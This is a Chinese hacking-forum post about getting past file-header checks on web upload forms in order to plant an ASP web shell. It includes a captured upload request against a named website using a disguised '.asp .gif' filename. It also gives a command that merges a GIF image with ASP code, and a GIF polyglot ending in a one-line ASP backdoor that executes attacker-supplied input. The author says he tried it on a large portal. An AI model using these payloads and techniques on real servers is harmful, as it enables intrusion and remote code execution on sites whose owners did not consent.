议题提交:风尘浪子
信息来源:邪恶八进制信息安全团队
上传的终极突破——突破文件头检测
经常碰到这种情况,某些网站上传的地方,对上传的文件类型进行了文件头检
测,以防止非法上传。如果检测到的是GIf,那么就以gif后缀保存。这样我们把
asp木马改为gif后缀是不行的,检测通过不了。如果我们在asp木马的前面加上文
件头GIF8,检测可以通过,但后缀我们无法控制。
比如:
复制内容到剪贴板
代码:
POST /13apostle/DoodlePro/poo/upload2.asp HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
application/x-shockwave-flash, application/vnd.ms-excel,
application/vnd.ms-powerpoint, application/msword, */*
Referer: [url]http://www.13apostle.net/13apostle/DoodlePro/poo/UPLOAD.ASP[/url]
Accept-Language: zh-cn
Content-Type: multipart/form-data; boundary=--------------------------
-7d528a281b01b8
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: [url]www.13apostle.net[/url]
Content-Length: 1535
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDCQTRDCSD=GDGPAELDGJCLHAHJBPLCNHDB;
cntbbs=CheckCode=1888; ASPSESSIONIDCSSTCDTC=BELNCMLDJDKDDNJEHNACJAPC;
http%3A%2F%2Fwww%2E13apostle%2Enet=feiyue=8&feiyueip=2005%2D10%
2D26+20%3A47%3A18; uph=20; filesize=1%2E07; upw=20; Uploadname=Upload%
5F200510262237%2EGIF; IP=219%2E138%2E204%2E46; guest%5Fpass=a; guest%
5Fname=a; homepage=; oicq=;
ASPSESSIONIDQQTRAARB=HDLLIDMDIDJOKOHKPBHOLIFF;
ASPSESSIONIDCQQTDCTD=CHCJKEMDNFLBABPPJPCJCHNL
-----------------------------7d528a281b01b8
Content-Disposition: form-data; name="sf_upfile";
filename="C:\Documents and Settings\new\桌面\zuoai.asp .gif"
Content-Type: image/gif
GIF89a大家可以看到sf_upfile是保存后的文件夹,本来我们可以利用加上\0截断,
但问题来了。因为Content-Type: image/gif,后面没有我们的数据,这样把上
面的包用winhex编辑,加上截断字符后保存。但用nc提交不了,因为没有数据,
nc处等待状态。
如果我们copy 21.gif /b + asp.asp /a asp.gif,这样检测是通过了,同样
后缀为gif,但是我们没办法编辑它的源代码里面include这样一个木马图片。
asp.gif记事本打开之后,代码如下:
复制内容到剪贴板
代码:
GIF89a ? 鼢黠镲珑甾揶种治挝浇降档ゥ湝湐
敂寣寗剟{{{ssskkkcccZZZRRRJJJBBB
!? ,
=枇倕*H 萷鄤6t璋伭
VP 纻 H罓B茘;Fh0R羵& N!%竧?A?l6樴?剦4r槇?0h餪b嚇
瑀惏@侱"lX卺偫
0$h`联?*?[繦n;@?aVZ禋乫_
?悹S猍|'P@?48溉?1?繮??hR ?逼x甩栃7肈R衻4瞕?B???撐ū落
2胩 ;<%If Request("#")<>"" Then Execute(Request("#"))%>我曾经试过把前面的GIF8改成GaF8(改成其它的)来比较抓包结果。又发现个奇怪的
问题。我把GaF8改回GIF8,发现asp.gif的大小发生了变化,而且无法上传了。整个过程我就用
记事本打开asp.gif,把GIF8改成GaF8再又改成GIF8。
至于怎么突破这种情况,我曾经想到了一个办法,就是在上传的时候,用一
个工具截取数据包,不过这个和winsock不一样,它是一个本地的代理,数据包必
须先经过它,可以修改数据包后再发送,最终完成一次数据包的发送。这样可以
比较方便的修改数据。但实际上这种办法我还没测试过,我相信邪恶的高手肯定
有自己的方法,所以我鼓起勇气发出来同大家讨论一下。前几天帮朋友检测碰到
一个大型门户试网站,又是同上面数据包里面那个地址的情况是一样的,一直很
郁闷。。。